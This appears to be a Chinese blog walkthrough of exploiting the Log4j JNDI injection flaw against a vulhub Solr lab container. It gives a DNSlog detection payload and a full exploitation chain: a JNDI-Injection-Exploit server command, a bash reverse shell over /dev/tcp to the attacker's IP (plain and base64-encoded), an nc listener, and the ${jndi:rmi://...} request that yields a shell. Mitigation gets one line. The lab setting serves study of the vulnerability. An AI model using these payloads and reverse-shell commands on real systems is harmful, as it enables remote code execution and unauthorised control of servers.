漏洞概述

在这里插入图片描述

  • Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Log4j 1.2 中包含一个 SocketServer 类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。

  • 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。简单点说,就是可以通过输入一些具有特殊意义的字符来攻击服务器。

  • 如果入侵者在前端页面上输入了:${jndi:rmi://127.0.0.1:8080/evil} 这串字符, 然后后台用log4j记录了这串字符, log4j会自动使用jndi调用这个地址上的rmi内容。

关于JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

关于RMI

RMI(remote method invocation)即远程方法调用,是允许运行在一个java虚拟机上的对象调用运行在另外一个java虚拟机上的对象的方法,JAVA RMI实现JAVA程序之间跨越JVM的远程通信。通过RMI可以让调用远程JVM上对象方法,仿佛调用本地JVM上对象方法一样简单、快捷。

影响版本

1.22.14 的 Log4j 版本。

漏洞检测

  1. 首先利用docker打开环境【docker的搭建可以参考以前的文章】
    在这里插入图片描述
  2. 访问http://靶机1IP:8983/solr/#/说明环境开启成功。
    在这里插入图片描述
  3. Dnslog申请一个域名9scgy5.dnslog.cn
    在这里插入图片描述
  4. 进行请求http://192.168.11.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.9scgy5.dnslog.cn}
    在这里插入图片描述
  5. 查看域名解析记录,存在漏洞,需要点击刷新下并成功返回java版本。为什么能显示java的版本,因为poc里面加了一个查看java版本的命令${sys:java.version},所以java版本结果回显在dnslog上面来了。【DNS不一样是因为中途电脑闪退,所以换了一个,但是步骤都是正确的】[]
    可以看到java版本被输出,说明漏洞存在。

漏洞复现

靶机:192.168.11.128
攻击机:192.68.11.131

  1. 在攻击机中利用应用工具JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"  

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令

 bash -i >& /dev/tcp/192.168.11.131/6666 0>&1

注意“命令”必须经过编码,不然将无法实现

bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

在这里插入图片描述

  1. 最终的命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c 
{echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMS4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.11.131" 

在这里插入图片描述

  1. 另起终端,打开sudo nc -lvnp 6666 端口 进行监听
    在这里插入图片描述
  2. 发送payload
http://192.168.11.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.11.131:1099/rbt35x}

在这里插入图片描述
在这里插入图片描述
5. 获取shell

在这里插入图片描述

漏洞预防

  • 使用高版本的log4j2,禁用 log4j2lookup
GitHub 加速计划 / vu / vulhub
8
1
下载
基于 Docker-Compose 的预构建易受攻击环境。
最近提交(Master分支:4 个月前 )
2111bfe4 added GeoServer CVE-2024-36401 5 个月前
f0495cba - 5 个月前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐